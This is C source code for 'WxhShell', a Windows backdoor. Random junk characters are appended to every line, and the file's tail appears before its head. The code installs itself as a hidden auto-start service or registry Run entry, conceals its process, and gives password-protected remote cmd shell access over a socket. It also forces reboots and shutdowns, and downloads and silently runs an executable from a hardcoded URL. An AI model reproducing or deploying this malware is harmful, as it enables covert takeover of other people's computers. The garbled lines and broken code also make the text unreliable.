    if(Boot(SHUTDOWN)) 8?8V;   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <lR:^M[v5<  
    else { {J)%6eL?  
    closesocket(wsh); 2OpA1$n6  
    ExitThread(0); sSfP.R  
    } )PvnB=wy  
    break; 7 q!==P=  
    } $(gL#"T  
  // 获取shell 7zx xO|p[  
  case 's': { d`TiY`!  
    CmdShell(wsh); /:]<z6R  
    closesocket(wsh); g^H,EaPl  
    ExitThread(0); ujnT B*Cqc  
    break; I(AlRh  
  } ZxSnqbyA*  
  // 退出 ~]?s A{  
  case 'x': { SW%}S*h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5eL b/,R  
    CloseIt(wsh); Y2tVq})!  
    break; #/ePpSyD  
    } c*B< - l<5  
  // 离开 mS[``$Z\!  
  case 'q': { #lMcAYH,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;`^_9 K  
    closesocket(wsh); L4B/ g)K  
    WSACleanup(); \]4EAKJE  
    exit(1); qpFxl  
    break; =8#.=J[/  
        } ,mx\ -lWFy  
  } ;Q,t65+Am  
  } aV7VbC  
9[JUJ,#X'0  
  // 提示信息 ;=$;h6W0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); st* sv}  
} !&Q?ASJH  
  } iS)-25M'  
s<"|'~<n  
  return; i`e[Vwe2x@  
} ROn@tW  
iJE:>qOTD5  
// shell模块句柄 { i6L/U.  
int CmdShell(SOCKET sock) } r(b:}DN  
{ ;^bfLSWm{  
STARTUPINFO si; 7omHorU+  
ZeroMemory(&si,sizeof(si)); ),vDn}>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d)V8FX,t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uWKmINjv'  
PROCESS_INFORMATION ProcessInfo; 5- GS@fY  
char cmdline[]="cmd"; "`cN k26JZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f8[O]MrO;  
  return 0; ;G}  
} ,x1OQ jtY  
{H(l"KuL  
// 自身启动模式 .xwskzJ3  
int StartFromService(void) pTi7Xy!Cw  
{ E,tdn#_|  
typedef struct OnE%D|Tq=  
{ q++\< \2  
  DWORD ExitStatus; , d $"`W2  
  DWORD PebBaseAddress; $.C-_L  
  DWORD AffinityMask; >U`G3(#7S  
  DWORD BasePriority; aL[6}U0(}  
  ULONG UniqueProcessId; pl3ap(/  
  ULONG InheritedFromUniqueProcessId; Lu6g`O:['  
}   PROCESS_BASIC_INFORMATION; ?e6>dNw  
wdP(MkaV  
PROCNTQSIP NtQueryInformationProcess; q\?p' i  
~IW{^u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p%meuWV%5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "G%</G8M  
OFtf)cGE  
  HANDLE             hProcess;  '4{=x]K  
  PROCESS_BASIC_INFORMATION pbi; aOd#f:{y  
<-?C\c~G@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iii|;v ]+  
  if(NULL == hInst ) return 0; )aGSZ1`/  
wHs1ge(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ws9IO ?|&G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X uE: dL?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R 39_!  
XfE9QA[  
  if (!NtQueryInformationProcess) return 0; @ :Zk,   
AvrvBz[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .e0)@}Jv8>  
  if(!hProcess) return 0; bKmwXDv'  
{aUTTEu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S=-$:65  
uU3A,-{-  
  CloseHandle(hProcess); ,.0bE 9\o  
7Q&-ObW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9\hI:rI  
if(hProcess==NULL) return 0; =3(Auchl$Y  
F^bY]\-5  
HMODULE hMod; {*B0lr`  
char procName[255]; C^L xuUW  
unsigned long cbNeeded; wjl)yo$z  
Q*T 'tkp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <skqq+  
;x\oY6:  
  CloseHandle(hProcess); :Q"|%#P  
R6(:l; W  
if(strstr(procName,"services")) return 1; // 以服务启动 hm73Zy  
RV  V`  
  return 0; // 注册表启动 i:aW .QZ.  
} v5'`iO0o  
#PD6LO  
// 主模块 <9ucpV  
int StartWxhshell(LPSTR lpCmdLine) o5a=>|?p>  
{ _xv3UzD  
  SOCKET wsl; exhU!p8  
BOOL val=TRUE; @T\n@M]  
  int port=0; :K^J bQ  
  struct sockaddr_in door; V2}\]x'1  
PhC3F4  
  if(wscfg.ws_autoins) Install(); :CE4< {V  
\wA:58 -j  
port=atoi(lpCmdLine); -%"PqA/1zj  
V_gKl;Kfe8  
if(port<=0) port=wscfg.ws_port; 7C7.}U  
=J]WVA,GqA  
  WSADATA data; D BHy%i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3U>-~-DS  
&;-zy%#l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U)bv,{-q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,J|,wNDU!K  
  door.sin_family = AF_INET; `Fn"QL-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;B=aK"\  
  door.sin_port = htons(port); I2*rtVAP'j  
* HKu%g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  %nY\"  
closesocket(wsl); Pt"H_SW~k  
return 1; 7m-%  
} _aPAn|.  
=lJ ?yuc  
  if(listen(wsl,2) == INVALID_SOCKET) { "wOfs$w%s  
closesocket(wsl); 4`#Q  
return 1; )k,n}  
} DSz[,AaR]  
  Wxhshell(wsl); 7tcadXk0  
  WSACleanup(); -Ty~lZ)TDT  
!} TsFa  
return 0; kh0cJE\_^  
4uIYX  
} 'vBZh1`p  
$].htm  
// 以NT服务方式启动 D|9+:Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *(Dmd$|0|  
{ PoF3fy%.  
DWORD   status = 0; <R$ 2x_  
  DWORD   specificError = 0xfffffff; N;|^C{uz  
sWYnoRxu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; } jj)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hX{,P:d=f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w2nReB z  
  serviceStatus.dwWin32ExitCode     = 0; \2s`mCY  
  serviceStatus.dwServiceSpecificExitCode = 0; =D/zC'l  
  serviceStatus.dwCheckPoint       = 0; O6;"cUv  
  serviceStatus.dwWaitHint       = 0; tON>wmN  
sFFQ]ST2p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |EE1S{!24m  
  if (hServiceStatusHandle==0) return; <:&vAX L  
2cYBm^o|x  
status = GetLastError(); i 6G40!G=)  
  if (status!=NO_ERROR) _!',%  +  
{ YqX$a~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4 ThFC  
    serviceStatus.dwCheckPoint       = 0; f,HUr% @  
    serviceStatus.dwWaitHint       = 0; sApix=Lr  
    serviceStatus.dwWin32ExitCode     = status; , Z"<-%3  
    serviceStatus.dwServiceSpecificExitCode = specificError; EG>?>K_D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )]1hN;Nz  
    return; O]u'7nO{{  
  } "Q.*  
R_PF*q2 '  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5Kg'&B (  
  serviceStatus.dwCheckPoint       = 0; @oAz  
  serviceStatus.dwWaitHint       = 0; SB\%"nnV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vamZKm~p  
} ~gfR1SE  
>c,s}HJ  
// 处理NT服务事件,比如:启动、停止 'Z`7/I4&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !K>iSF<  
{ KMRPleF  
switch(fdwControl) =5+*TL`  
{ sasurR|;  
case SERVICE_CONTROL_STOP: LCHMh6  
  serviceStatus.dwWin32ExitCode = 0; (wDE!H7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `$T$483/  
  serviceStatus.dwCheckPoint   = 0; F_ F"3'[  
  serviceStatus.dwWaitHint     = 0; cszvt2BIg  
  { WUYI1Ij;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5}#wp4U  
  } j!u)V1,  
  return; L80(9Y^xn  
case SERVICE_CONTROL_PAUSE: /5ZX6YkeH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; USBQEt  
  break; TLdlPBnr8  
case SERVICE_CONTROL_CONTINUE: ote,`h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Wgwd?@uK  
  break;  j#](Q!  
case SERVICE_CONTROL_INTERROGATE: _VrY7Mz:r  
  break; PXb$]HV  
}; iEvQ4S6tD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @?3f`l 9  
} y }odTeq  
C ^Y\?2h1  
// 标准应用程序主函数 8-2 `S*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4V,.Oi  
{  $GJT  
x|6]+?l@6  
// 获取操作系统版本 wX,V:QE  
OsIsNt=GetOsVer(); <g[z jV9p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %nZl`<M  
Z?axrGmg0  
  // 从命令行安装 hS]w A"\87  
  if(strpbrk(lpCmdLine,"iI")) Install(); vi,hWz8WB  
Y?0/f[Ax,y  
  // 下载执行文件 $coO~qvU  
if(wscfg.ws_downexe) { 1 R5 pf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZwmucY%3  
  WinExec(wscfg.ws_filenam,SW_HIDE); -#|D>  
} q A)O kR'm  
k ka5=u  
if(!OsIsNt) { ;5Sdx5`_  
// 如果时win9x,隐藏进程并且设置为注册表启动 un{ZysmtB6  
HideProc(); WgtLKRZ\  
StartWxhshell(lpCmdLine); $]2)r[eA)  
} Y2H-D{a27  
else r\Nfq(w  
  if(StartFromService()) QU).q65p  
  // 以服务方式启动 jj5S+ >4  
  StartServiceCtrlDispatcher(DispatchTable); EApKN@<"  
else Z>rY9VvWD  
  // 普通方式启动 nr!N%Hi  
  StartWxhshell(lpCmdLine); F-yY(b]$  
^#/FkEt7bp  
return 0; 3nxG>D7  
} v4P"|vZ$&  
#.Rn6|V/4  
f9De!"*&  
l:85 _E  
=========================================== (j: ptQ2$  
V>{< pS  
t[^$F,  
)Z}AhX  
%ByPwu:f  
~4~`bT9  
" n>M`wF>  
.w2ID  
#include <stdio.h> .Mt3e c<  
#include <string.h> TktH28tK  
#include <windows.h> }r,\0Wm  
#include <winsock2.h> E[H  
#include <winsvc.h> FKa";f"  
#include <urlmon.h> X\|!  
Tg\bpLk0=  
#pragma comment (lib, "Ws2_32.lib") ,^(]zZh  
#pragma comment (lib, "urlmon.lib") @AsJnf$y  
jwZ,_CK  
#define MAX_USER   100 // 最大客户端连接数 Cm}2>eH  
#define BUF_SOCK   200 // sock buffer OmYVJt_  
#define KEY_BUFF   255 // 输入 buffer V2MOD{Maat  
W'lqNOX[v  
#define REBOOT     0   // 重启 0 'QWa{dS\  
#define SHUTDOWN   1   // 关机 P15 H[<:Fz  
w:~*wv  
#define DEF_PORT   5000 // 监听端口 j)A#}4jd  
D&@]  
#define REG_LEN     16   // 注册表键长度 \/A.j|by,>  
#define SVC_LEN     80   // NT服务名长度 4=zs&   
KpLmpK1  
// 从dll定义API U.%Kt,qB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qNp1<QO0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xP;r3u s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O7K.\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {@Mr7*u  
]MbPivM  
// wxhshell配置信息 I=Y>z ^4  
struct WSCFG { (i1JRn-f  
  int ws_port;         // 监听端口 &p0e)o~Ux  
  char ws_passstr[REG_LEN]; // 口令 &d#R'Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no t}EM X9SQ  
  char ws_regname[REG_LEN]; // 注册表键名 qe~x?FO_>  
  char ws_svcname[REG_LEN]; // 服务名 wp[Ug2;G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bDI%}k9#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  6@S6E(^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :2 ;Jo^6Se  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KyvZ? R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Tb/TP3N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Tkbao D  
I[ \~ pi,  
}; UM}u(;oo%)  
eI #Gx_mg  
// default Wxhshell configuration APQq F/  
struct WSCFG wscfg={DEF_PORT, 6b|?@  
    "xuhuanlingzhe", 6 SSDc/  
    1, ny={OhP-  
    "Wxhshell", ~E<2gMKjO  
    "Wxhshell", ~(5r+Z}*`  
            "WxhShell Service", k9|5TLXq?  
    "Wrsky Windows CmdShell Service", ]I*c:(qwu  
    "Please Input Your Password: ", `?Rq44=  
  1, <g4}7l8  
  "http://www.wrsky.com/wxhshell.exe", .R9Z$Kbq  
  "Wxhshell.exe" e|~MJu+1  
    }; XR5KJl  
2iAC_"n  
// 消息定义模块 5E:$\z;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5of3&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zM0NRERi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I<SgKva;c  
char *msg_ws_ext="\n\rExit."; k$EVr([  
char *msg_ws_end="\n\rQuit."; K|& f5w  
char *msg_ws_boot="\n\rReboot..."; Z6jEj9?O  
char *msg_ws_poff="\n\rShutdown..."; Mf}M/Fh  
char *msg_ws_down="\n\rSave to "; wBPo{  
8~sP{V%  
char *msg_ws_err="\n\rErr!"; )8Va%{j  
char *msg_ws_ok="\n\rOK!"; 9 _d2u#  
>yIJ8IDF  
char ExeFile[MAX_PATH]; xo:kT)  
int nUser = 0; hy;VvAH 5  
HANDLE handles[MAX_USER]; 6|TSH$w_  
int OsIsNt; CSk]c9=  
dWqn7+:  
SERVICE_STATUS       serviceStatus; R[WiW RfD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |"H 2'L$  
2wf&jGHs  
// 函数声明 2[E wN!IZ  
int Install(void); <v"o+  
int Uninstall(void); )P$(]{  
int DownloadFile(char *sURL, SOCKET wsh); 3} A$+PX  
int Boot(int flag); / )0hsQs  
void HideProc(void); w =^.ICyb@  
int GetOsVer(void); $YYWpeW '  
int Wxhshell(SOCKET wsl); <hT\xBb:  
void TalkWithClient(void *cs); ^;C&  
int CmdShell(SOCKET sock); J~YT~D 2L  
int StartFromService(void); WJ7|0qb  
int StartWxhshell(LPSTR lpCmdLine); '<Z[e`/  
^0VL](bD>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h}bfZL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E?m~DYnU  
q76POytV|  
// 数据结构和表定义 'CLZ7 pV  
SERVICE_TABLE_ENTRY DispatchTable[] = i`,FXF)  
{  ;C]Ufk  
{wscfg.ws_svcname, NTServiceMain}, h}b:-a  
{NULL, NULL} 8hRcB[F~S  
}; 1MelHW  
f60w%  
// 自我安装 Iv`IJQH>  
int Install(void) 8:cbr/F<  
{ ">A<%5F2  
  char svExeFile[MAX_PATH]; 5&Oc`5QD  
  HKEY key; 4aayMS !#  
  strcpy(svExeFile,ExeFile); Hl*vS  
^xo<$zn  
// 如果是win9x系统,修改注册表设为自启动 .nV2 n@SR  
if(!OsIsNt) { >J"IN I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5/H,UL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,'#TdLe  
  RegCloseKey(key); 7y=>Wa?T[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E-LkP;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ob d n#Wm=  
  RegCloseKey(key); f~IJ4T2#N  
  return 0; )7q$PcY  
    } [B0 BHJ~  
  } Bous d  
} i1iP'`r  
else { yTm \O UD  
 U 'jt'(  
// 如果是NT以上系统,安装为系统服务 .RQra+up  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RNIXQns-=S  
if (schSCManager!=0) jnH\}IB  
{ XxqGsGx4  
  SC_HANDLE schService = CreateService <}a?<):S  
  ( +X?ErQm  
  schSCManager, ~ELY$G.xl  
  wscfg.ws_svcname, =w2 4(S  
  wscfg.ws_svcdisp, PK*Wu<<  
  SERVICE_ALL_ACCESS, \0$+*ejz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q PH=`s  
  SERVICE_AUTO_START, Daf|.5>(@  
  SERVICE_ERROR_NORMAL, Z:4/lx7Bq  
  svExeFile, ,GbmL8P7Y  
  NULL,  56.!L  
  NULL, 0.GFg${v`  
  NULL, z2=bbm:  
  NULL, /qpSmRL  
  NULL h$S#fY8   
  ); Y\xEPh  
  if (schService!=0) Y$'j9bUJ  
  { CEy\1D  
  CloseServiceHandle(schService); f@*69a8  
  CloseServiceHandle(schSCManager); ;p`1Y<d-O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AGhenDN V  
  strcat(svExeFile,wscfg.ws_svcname); *X5)9dq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Pz4#>tP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "k zKQ~  
  RegCloseKey(key); *D5 xbkH=.  
  return 0; blc?[ [,!  
    } [-~pDkf:  
  } U ?[ (  
  CloseServiceHandle(schSCManager); K7}.#*% ~  
} <'Q6\R}:vC  
} ]xC56se  
 *7m lH  
return 1; TG2#$Bq1  
} {DO9%ej)  
 F/Goq`  
// 自我卸载 E0HqXd?  
int Uninstall(void) CTMC78=9}  
{ Nc[@QC{  
  HKEY key;  A l[ZU  
wO??"${OH  
if(!OsIsNt) { K:Z$V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7Sdo*z  
  RegDeleteValue(key,wscfg.ws_regname); D 0Xl`0"'  
  RegCloseKey(key); p1N}2]e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IQqUFP$8g  
  RegDeleteValue(key,wscfg.ws_regname); F)3+IuY  
  RegCloseKey(key); lyn%r  
  return 0; TrI+F+;  
  } R'BB-  
} qHt/,w='Q  
} K3&xe(  
else { 3(YvqPp&  
qs4jUm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r@G*Fx8Z  
if (schSCManager!=0) 8ud12^s$  
{ ?sfqg gi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O&!R7T  
  if (schService!=0) &raqrY|V  
  { 3%vXB=>T!  
  if(DeleteService(schService)!=0) { T(|'.&a  
  CloseServiceHandle(schService); I~,.@{4  
  CloseServiceHandle(schSCManager); RpdUR*K9x  
  return 0; !'f7;%7s  
  } q4ROuE|d  
  CloseServiceHandle(schService); @ @[xTyA  
  } Nt>^2Mv   
  CloseServiceHandle(schSCManager); fit{n]g  
} 6w.E Sm  
} {Jn0G;  
wt($trJ  
return 1; ==Gc%  
} 4uF.kz-cg  
NuZ2,<~9  
// 从指定url下载文件 ]b- 2:M  
int DownloadFile(char *sURL, SOCKET wsh) )O'LE&kQ|  
{ {f06Ki  
  HRESULT hr; Gxr\a2Z&r%  
char seps[]= "/"; I0XJ& P%  
char *token; ;m7V]h? R  
char *file; >$ q   
char myURL[MAX_PATH]; :a wt7lqv  
char myFILE[MAX_PATH]; 4v[y^P  
_i_='dsyW/  
strcpy(myURL,sURL); C qd\n#d/~  
  token=strtok(myURL,seps); 2 6#p,P  
  while(token!=NULL) y3~=8!Tj?Q  
  { b6k`R4S3  
    file=token; o78u>Oy  
  token=strtok(NULL,seps); sn"((BsO<  
  } Ny^ 1#R  
!73y(Y%TE  
GetCurrentDirectory(MAX_PATH,myFILE); *g5bdQ:Av~  
strcat(myFILE, "\\"); & ALnE:F  
strcat(myFILE, file); hHJiGVJ=V  
  send(wsh,myFILE,strlen(myFILE),0); T zL|{9  
send(wsh,"...",3,0); 0O3O^ 0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #XQ/y}(  
  if(hr==S_OK) Zue3Z{31T  
return 0; J[lC$X[  
else ~J\qkQ  
return 1; A6(Do]M  
zgD?e?yPO  
} e=;A3S  
vQrxx  
// 系统电源模块 >n7h%c  
int Boot(int flag) 0C zQel)L:  
{ TdFU,  
  HANDLE hToken; I Q_6DF  
  TOKEN_PRIVILEGES tkp; ; Y/nS  
j!+jLm!l  
  if(OsIsNt) { %q5dV<X'c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [,;Y5#Y[5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oh5'Isb$  
    tkp.PrivilegeCount = 1; sL@\,]Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =.`\V]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -A#p22D,5  
if(flag==REBOOT) { ?/|Xie  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $J1`.Q>)4  
  return 0;  h,/Aq  
} 8 063LWV  
else { !Z_+H<fi+I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LR=Ji7  
  return 0; ]>M\|,wh  
} 4/ ` *mPW  
  } 8N&' n  
  else { wra0bS)4  
if(flag==REBOOT) { E#!N8fQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [8T{=+k  
  return 0; *}2L4]  
} Kq[4I[+R  
else { 88HqP!m%P:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J~%43!X\K  
  return 0; ^N7H~CT"  
} 1(p:dqGS  
} 1L,L/sOwB&  
q|*^{(tWs  
return 1; $0$sM/%  
} NP;W=A F  
0AHQ(+Ap  
// win9x进程隐藏模块 tV !?Ol  
void HideProc(void) t:2DB)  
{ "Z&.m..gc  
v,i|:;G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4jXo5SkEJ  
  if ( hKernel != NULL ) & /8Tth86  
  { gqS9{K(f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0+SDFh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tWn dAM(U7  
    FreeLibrary(hKernel); a&>NuMDI  
  } +q&Hj|;8r  
SnE^\I^O  
return; ?^voA.Bv<  
} d,GOP_N8I  
"3^tVX%$\[  
// 获取操作系统版本 X['9;1Xr  
int GetOsVer(void) 6f +aGz  
{ ,l~<|\4,wv  
  OSVERSIONINFO winfo; |aDBp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~N!HxQ  
  GetVersionEx(&winfo); k6CXuU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;VE y{%nF  
  return 1; `X<B+:>v-  
  else >Y>R1b%  
  return 0; 811>dVq3/  
} Et3I(X3  
d?7?tL2  
// 客户端句柄模块 `XxnQng  
int Wxhshell(SOCKET wsl) @v2<T1UC  
{ !<M eWo  
  SOCKET wsh; DFMpU.BN W  
  struct sockaddr_in client; uzdPA'u  
  DWORD myID; T^ktfg Xq  
:)#;0o5  
  while(nUser<MAX_USER) $z=%e#(!I  
{ 7}&:07U  
  int nSize=sizeof(client); u%C oo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n#+EG3  
  if(wsh==INVALID_SOCKET) return 1; F` ybe\  
xFF!)k #  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v@zi?D K  
if(handles[nUser]==0) Gd!-fqNa'x  
  closesocket(wsh); ? Ek)" l  
else M!,H0( @G  
  nUser++; D|q~n)TW5  
  } `n$Ak5f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z1 Nep !  
:7K a4  
  return 0; Et3]n$  
} /x49!8  
0j@mzd2  
// 关闭 socket ;MN$.x+  
void CloseIt(SOCKET wsh) T >8P1p@A,  
{ iTHwH{!  
closesocket(wsh); x)C}  
nUser--; j*>J1M3E  
ExitThread(0); [1rQ'FBB^1  
} =muQ7l:(  
"'CvB0>   
// 客户端请求句柄 z>PVv)X  
void TalkWithClient(void *cs) =\6)B{#T  
{ ,' k?rQ  
?;,;  
  SOCKET wsh=(SOCKET)cs; h~>1 -T8  
  char pwd[SVC_LEN]; }StzhV{GS  
  char cmd[KEY_BUFF]; akvi^]x  
char chr[1]; -+E.I*st  
int i,j; ^xHKoOTj[  
Xc-["y64  
  while (nUser < MAX_USER) { YF{MXK}  
.\caRb[  
if(wscfg.ws_passstr) { ]nsjYsT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D_lRYLA+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dWd%>9 }  
  //ZeroMemory(pwd,KEY_BUFF); S1$^ _S =  
      i=0; +@ChZ  
  while(i<SVC_LEN) { %"`p&aE:  
jt}Re,  
  // 设置超时 7.29'  
  fd_set FdRead; 7wj2-BWa  
  struct timeval TimeOut; 4vg3F(   
  FD_ZERO(&FdRead); :$D*ab^^P  
  FD_SET(wsh,&FdRead); ehW[LRtq  
  TimeOut.tv_sec=8; qcs) p  
  TimeOut.tv_usec=0; #}#m\=0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ndD>Oc}"3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |jIHgm  
}<WJR Y6j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3l=q@72  
  pwd=chr[0]; <);q,|eh2  
  if(chr[0]==0xd || chr[0]==0xa) { ]0D-g2!|A  
  pwd=0; VgbNZ{qk@  
  break; g}%ODa !H  
  } ;7\Fx8"s[  
  i++; h8(#\E  
    } eKr>>4,-P  
[+o{0o>  
  // 如果是非法用户,关闭 socket D|OGlP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CmB_g?K  
} 9p8ajlYg,  
^8&}Nk[j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UC+Qn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jV2H61d  
d>f;N+O%  
while(1) { /<-PW9X?  
!*v% s  
  ZeroMemory(cmd,KEY_BUFF); OH@"]Nc~  
"-f]d~P>  
      // 自动支持客户端 telnet标准   k^}[+IFJ  
  j=0; -f|/#1  
  while(j<KEY_BUFF) { SNqSp.>-U"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1NP  
  cmd[j]=chr[0]; <PSz`)SN  
  if(chr[0]==0xa || chr[0]==0xd) { Lc~m`=B  
  cmd[j]=0; x/<ow4C  
  break; mW{;$@PLF"  
  } GXZ="3W |  
  j++; 7 (2}Vs!5  
    } |it*w\+M  
F/2cQ .u2  
  // 下载文件 tz]0F5  
  if(strstr(cmd,"http://")) { r $S9/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2xN7lfu1RB  
  if(DownloadFile(cmd,wsh)) uL)MbM]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); im*sSz 0 (  
  else 7=fM}sk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "\*)KH`C  
  } 6 :4GI  
  else { wwl,F=| Y  
u [qy1M0  
